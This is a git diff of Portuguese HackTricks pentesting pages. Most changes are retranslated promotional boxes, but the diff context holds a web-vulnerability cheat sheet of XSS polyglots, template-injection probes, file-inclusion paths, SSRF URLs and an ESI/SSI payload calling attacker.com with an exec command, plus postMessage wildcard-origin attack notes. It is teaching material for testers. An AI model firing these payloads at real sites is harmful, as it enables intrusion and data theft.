* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -37,7 +37,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,26 +2,26 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
O objetivo destes PoCs e Polygloths é fornecer ao testador um rápido **resumo** das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
|
O objetivo destes PoCs e Polygloths é fornecer ao testador um **resumo rápido** das vulnerabilidades que ele pode explorar se a **entrada dele estiver de alguma forma refletida na resposta**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Esta **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
|
Esta **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Você **não encontrará injeções dependentes do Content-Type como XXE**, pois geralmente você tentará essas por conta própria se encontrar uma requisição enviando dados em xml. Você **também não encontrará injeções em banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados de backend.
|
Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você mesmo tentará se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende muito da tecnologia e estrutura do banco de dados backend.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Lista de Polygloths
|
## Lista de Polygloths
|
||||||
|
@ -64,7 +64,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||||
```
|
```
|
||||||
## [Injeção de Template no Lado do Cliente](../client-side-template-injection-csti.md)
|
## [Injeção de Modelo do Lado do Cliente](../client-side-template-injection-csti.md)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```
|
```
|
||||||
|
@ -75,7 +75,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||||
```bash
|
```bash
|
||||||
{{7*7}}[7*7]
|
{{7*7}}[7*7]
|
||||||
```
|
```
|
||||||
## [Injeção de Comando](../command-injection.md)
|
## [Injeção de Comandos](../command-injection.md)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```bash
|
```bash
|
||||||
|
@ -123,7 +123,7 @@ C:/windows/system32/drivers/etc/hosts
|
||||||
http://asdasdasdasd.burpcollab.com/mal.php
|
http://asdasdasdasd.burpcollab.com/mal.php
|
||||||
\\asdasdasdasd.burpcollab.com/mal.php
|
\\asdasdasdasd.burpcollab.com/mal.php
|
||||||
```
|
```
|
||||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
## [Redirecionamento Aberto](../open-redirect.md) / [Falsificação de Solicitação do Lado do Servidor](../ssrf-server-side-request-forgery/)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```bash
|
```bash
|
||||||
|
@ -141,7 +141,7 @@ javascript:alert(1)
|
||||||
([a-zA-Z]+)*$
|
([a-zA-Z]+)*$
|
||||||
((a+)+)+$
|
((a+)+)+$
|
||||||
```
|
```
|
||||||
## [Inclusão Lateral do Servidor/Inclusão Lateral de Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
|
## [Inclusão do Lado do Servidor/Inclusão do Lado da Borda](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```markup
|
```markup
|
||||||
|
@ -154,11 +154,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
|
||||||
```markup
|
```markup
|
||||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||||
```
|
```
|
||||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
|
## [Solicitação de Servidor do Lado do Servidor](../ssrf-server-side-request-forgery/)
|
||||||
|
|
||||||
Os mesmos testes usados para Open Redirect podem ser usados aqui.
|
Os mesmos testes usados para Redirecionamento Aberto podem ser usados aqui.
|
||||||
|
|
||||||
## [Server Side Template Injection](../ssti-server-side-template-injection/)
|
## [Injeção de Modelo do Lado do Servidor](../ssti-server-side-template-injection/)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```markup
|
```markup
|
||||||
|
@ -173,7 +173,7 @@ ${{7*7}}
|
||||||
```python
|
```python
|
||||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||||
```
|
```
|
||||||
## [Injeção Lateral no Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
## [Injeção de Código no Lado do Servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
|
|
||||||
### Testes Básicos
|
### Testes Básicos
|
||||||
```markup
|
```markup
|
||||||
|
@ -222,14 +222,14 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -52,12 +52,12 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,10 +8,10 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -50,7 +50,7 @@ Se o **coringa** for usado, **mensagens podem ser enviadas para qualquer domíni
|
||||||
|
|
||||||
### Atacando iframe & coringa em **targetOrigin**
|
### Atacando iframe & coringa em **targetOrigin**
|
||||||
|
|
||||||
Conforme explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) se você encontrar uma página que pode ser **inserida em um iframe** (sem proteção de `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
|
Conforme explicado neste [**relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **inserida em um iframe** (sem proteção de `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **coringa** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
|
||||||
Note que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um coringa**, esse **truque não funcionará**.
|
Note que se a página puder ser inserida em um iframe, mas o **targetOrigin** estiver **definido como uma URL e não como um coringa**, esse **truque não funcionará**.
|
||||||
```markup
|
```markup
|
||||||
<html>
|
<html>
|
||||||
|
@ -103,13 +103,13 @@ Para **encontrar ouvintes de eventos** na página atual, você pode:
|
||||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||||
```
|
```
|
||||||
|
|
||||||
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita em regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
|
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma expressão regular leva à conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) age como um caractere curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||||
```
|
```
|
||||||
|
|
||||||
- A função **`match()`**, semelhante a `search()`, processa regex. Se o regex for estruturado incorretamente, pode ser propenso a contornos.
|
- A função **`match()`**, semelhante a `search()`, processa regex. Se a regex for estruturada incorretamente, ela pode ser propensa a contornos.
|
||||||
|
|
||||||
- A função **`escapeHtml`** é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheça `hasOwnProperty`, o `escapeHtml` não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo:
|
- A função **`escapeHtml`** é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Especialmente, se um objeto puder ser manipulado de forma que sua propriedade controlada não reconheça `hasOwnProperty`, o `escapeHtml` não funcionará conforme o esperado. Isso é demonstrado nos exemplos abaixo:
|
||||||
|
|
||||||
|
@ -165,7 +165,7 @@ Para mais informações **leia:**
|
||||||
### Bypass do Cabeçalho X-Frame
|
### Bypass do Cabeçalho X-Frame
|
||||||
|
|
||||||
Para realizar esses ataques, idealmente você poderá **colocar a página da web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
|
Para realizar esses ataques, idealmente você poderá **colocar a página da web da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
|
||||||
Nesses cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
|
Em tais cenários, ainda é possível usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
var w=window.open("<url>")
|
var w=window.open("<url>")
|
||||||
|
@ -182,7 +182,7 @@ Na página a seguir, você pode ver como poderia roubar dados **sensíveis de po
|
||||||
|
|
||||||
### Roubo de mensagem modificando a localização do iframe
|
### Roubo de mensagem modificando a localização do iframe
|
||||||
|
|
||||||
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Header que contenha outro iframe, você pode **alterar a localização desse iframe filho**, então, se estiver recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
|
Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-Options que contenha outro iframe, você pode **alterar a localização desse iframe filho**, então, se estiver recebendo um **postmessage** enviado usando um **coringa**, um atacante poderia **alterar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
|
||||||
|
|
||||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||||
|
@ -190,7 +190,7 @@ Se você puder inserir um iframe em uma página da web sem o cabeçalho X-Frame-
|
||||||
|
|
||||||
### postMessage para Poluição de Protótipo e/ou XSS
|
### postMessage para Poluição de Protótipo e/ou XSS
|
||||||
|
|
||||||
Em cenários onde os dados enviados por meio de `postMessage` são executados por JS, você pode **inserir um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
|
Em cenários onde os dados enviados por meio de `postMessage` são executados pelo JS, você pode **inserir um iframe** na **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
|
||||||
|
|
||||||
Alguns **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
Alguns **XSS muito bem explicados através de `postMessage`** podem ser encontrados em [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||||
|
|
||||||
|
@ -228,10 +228,10 @@ Para **mais informações**:
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
